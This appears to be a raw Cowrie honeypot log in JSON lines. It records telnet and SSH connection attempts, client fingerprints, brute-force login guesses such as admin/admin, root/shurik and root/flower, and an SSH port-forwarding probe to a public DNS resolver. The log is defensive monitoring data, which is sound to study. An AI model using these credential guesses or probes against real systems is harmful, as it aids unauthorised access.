{"eventid":"cowrie.session.closed","duration":41.051753282547,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:27.503029Z","src_ip":"192.119.13.58","session":"8f7e5f865ec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54990,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3f7d6b3a471","protocol":"telnet","message":"New connection: 192.119.13.58:54990 (10.17.0.5:23) [session: b3f7d6b3a471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:33.313023Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43776,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff6f96f2d99d","protocol":"telnet","message":"New connection: 192.119.13.58:43776 (10.17.0.5:23) [session: ff6f96f2d99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:40.339582Z"}
{"eventid":"cowrie.session.closed","duration":38.095977783203125,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:52.381435Z","src_ip":"192.119.13.58","session":"bc56142d9c65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6910,"dst_ip":"10.17.0.5","dst_port":22,"session":"c51a652fa914","protocol":"ssh","message":"New connection: 87.251.64.176:6910 (10.17.0.5:22) [session: c51a652fa914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:53.470392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:53.475030Z","src_ip":"87.251.64.176","session":"c51a652fa914","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:53.576232Z","src_ip":"87.251.64.176","session":"c51a652fa914","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:53.867494Z","src_ip":"87.251.64.176","session":"c51a652fa914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:53.968834Z","session":"c51a652fa914","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:54.067094Z","src_ip":"87.251.64.176","session":"c51a652fa914","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:54.167391Z","src_ip":"87.251.64.176","session":"c51a652fa914","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58246,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ec8faca108","protocol":"telnet","message":"New connection: 192.119.13.58:58246 (10.17.0.5:23) [session: 74ec8faca108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:54.542220Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47876,"dst_ip":"10.17.0.5","dst_port":23,"session":"4831e3fab6a3","protocol":"telnet","message":"New connection: 192.119.13.58:47876 (10.17.0.5:23) [session: 4831e3fab6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:58.628139Z"}
{"eventid":"cowrie.session.closed","duration":45.92332673072815,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:58.706006Z","src_ip":"192.119.13.58","session":"94a4280fa838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.79375147819519,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:57:59.022564Z","src_ip":"192.119.13.58","session":"4cb8507db8d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.69676685333252,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:00.336915Z","src_ip":"192.119.13.58","session":"2e0f8231b135","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.408220529556274,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:01.571722Z","src_ip":"192.119.13.58","session":"695d6ec4b0f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36082,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98105f38678","protocol":"telnet","message":"New connection: 192.119.13.58:36082 (10.17.0.5:23) [session: e98105f38678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:09.454359Z"}
{"eventid":"cowrie.session.closed","duration":37.14246845245361,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:17.481921Z","src_ip":"192.119.13.58","session":"ff6f96f2d99d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42022,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ef0871b6cf","protocol":"telnet","message":"New connection: 192.119.13.58:42022 (10.17.0.5:23) [session: 05ef0871b6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:17.689238Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50012,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0ec0462650","protocol":"telnet","message":"New connection: 192.119.13.58:50012 (10.17.0.5:23) [session: 2e0ec0462650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:19.623493Z"}
{"eventid":"cowrie.session.closed","duration":46.67951941490173,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:19.992412Z","src_ip":"192.119.13.58","session":"b3f7d6b3a471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40650,"dst_ip":"10.17.0.5","dst_port":23,"session":"a90e24bf86ba","protocol":"telnet","message":"New connection: 192.119.13.58:40650 (10.17.0.5:23) [session: a90e24bf86ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:24.035067Z"}
{"eventid":"cowrie.session.closed","duration":0.0049304962158203125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:24.039857Z","src_ip":"192.119.13.58","session":"a90e24bf86ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53062,"dst_ip":"10.17.0.5","dst_port":23,"session":"236aa0ec28c9","protocol":"telnet","message":"New connection: 192.119.13.58:53062 (10.17.0.5:23) [session: 236aa0ec28c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:26.896102Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41646,"dst_ip":"159.203.135.109","dst_port":22,"session":"d86b38a5986e","protocol":"ssh","message":"New connection: 193.37.70.224:41646 (159.203.135.109:22) [session: d86b38a5986e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:35.179042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:35.188707Z","src_ip":"193.37.70.224","session":"d86b38a5986e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:35.282725Z","src_ip":"193.37.70.224","session":"d86b38a5986e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shurik","message":"login attempt [root/shurik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:35.564802Z","src_ip":"193.37.70.224","session":"d86b38a5986e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:36.662867Z","src_ip":"193.37.70.224","session":"d86b38a5986e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38874,"dst_ip":"10.17.0.5","dst_port":23,"session":"27644de05432","protocol":"telnet","message":"New connection: 192.119.13.58:38874 (10.17.0.5:23) [session: 27644de05432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:36.695113Z"}
{"eventid":"cowrie.session.closed","duration":43.26810264587402,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:37.810210Z","src_ip":"192.119.13.58","session":"74ec8faca108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55816,"dst_ip":"10.17.0.5","dst_port":23,"session":"03f255ad3538","protocol":"telnet","message":"New connection: 192.119.13.58:55816 (10.17.0.5:23) [session: 03f255ad3538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:40.820345Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35656,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc8f227b354","protocol":"telnet","message":"New connection: 192.119.13.58:35656 (10.17.0.5:23) [session: 9fc8f227b354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:42.886060Z"}
{"eventid":"cowrie.session.closed","duration":45.5200891494751,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:44.147985Z","src_ip":"192.119.13.58","session":"4831e3fab6a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.780651330947876,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:45.600902Z","src_ip":"192.119.13.58","session":"03f255ad3538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44969725608826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:50.138798Z","src_ip":"192.119.13.58","session":"05ef0871b6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":55632,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a2a4dfc678e","protocol":"ssh","message":"New connection: 103.75.183.219:55632 (10.17.0.5:22) [session: 9a2a4dfc678e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:52.027696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:52.032801Z","src_ip":"103.75.183.219","session":"9a2a4dfc678e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:52.275632Z","src_ip":"103.75.183.219","session":"9a2a4dfc678e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flower","message":"login attempt [root/flower] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:53.004026Z","src_ip":"103.75.183.219","session":"9a2a4dfc678e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51164,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6203588451c","protocol":"telnet","message":"New connection: 192.119.13.58:51164 (10.17.0.5:23) [session: e6203588451c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:53.662441Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:54.248624Z","src_ip":"103.75.183.219","session":"9a2a4dfc678e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.97050881385803,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:54.424785Z","src_ip":"192.119.13.58","session":"e98105f38678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40504,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82d5fd710a5","protocol":"telnet","message":"New connection: 192.119.13.58:40504 (10.17.0.5:23) [session: c82d5fd710a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:58:57.949281Z"}
{"eventid":"cowrie.session.closed","duration":42.672860622406006,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:02.296264Z","src_ip":"192.119.13.58","session":"2e0ec0462650","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.575923919677734,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:05.471852Z","src_ip":"192.119.13.58","session":"236aa0ec28c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":42638,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d586455c93d","protocol":"ssh","message":"New connection: 104.194.10.248:42638 (10.17.0.5:22) [session: 2d586455c93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.744532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.750569Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.758217Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:99:07:ef:e8:f0:a2:3b:85:dc:cc:ea:72:e0:c2:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFgl6pxcUmwKGGk7EckZ9jXsfw8fwpHmdaudrZ2Svx6Ym4twHBWmuDadlgZymLOnrADIg1qi/NTHHQ2Xt8jW1OEGiuenHEBtXMCeLoOXhmOymuvEFXyxfxbANK2wAx0Nac730JSbM8rN1qV/ioVo68qUqREk6KS+RvVPtZdVgZbnfm1FjFbp8xbNx3rX92NIHGkiuYAqAF4u3/V0tQsV+18DrJv7Wt39FQ1DhxyVSnENZq7QYCRHknHzHNBRuzQPjYOX0its5KrE+HMIW3i1s+xMgB1pCYW4LBltsI+v9W1A6h+5YDOvmdnulZy97ReeDw+YpyWvtjOXsSEVSZH+JX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:99:07:ef:e8:f0:a2:3b:85:dc:cc:ea:72:e0:c2:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.778176Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:99:07:ef:e8:f0:a2:3b:85:dc:cc:ea:72:e0:c2:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFgl6pxcUmwKGGk7EckZ9jXsfw8fwpHmdaudrZ2Svx6Ym4twHBWmuDadlgZymLOnrADIg1qi/NTHHQ2Xt8jW1OEGiuenHEBtXMCeLoOXhmOymuvEFXyxfxbANK2wAx0Nac730JSbM8rN1qV/ioVo68qUqREk6KS+RvVPtZdVgZbnfm1FjFbp8xbNx3rX92NIHGkiuYAqAF4u3/V0tQsV+18DrJv7Wt39FQ1DhxyVSnENZq7QYCRHknHzHNBRuzQPjYOX0its5KrE+HMIW3i1s+xMgB1pCYW4LBltsI+v9W1A6h+5YDOvmdnulZy97ReeDw+YpyWvtjOXsSEVSZH+JX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T11:59:13.782430Z","src_ip":"104.194.10.248","session":"2d586455c93d","protocol":"ssh"}
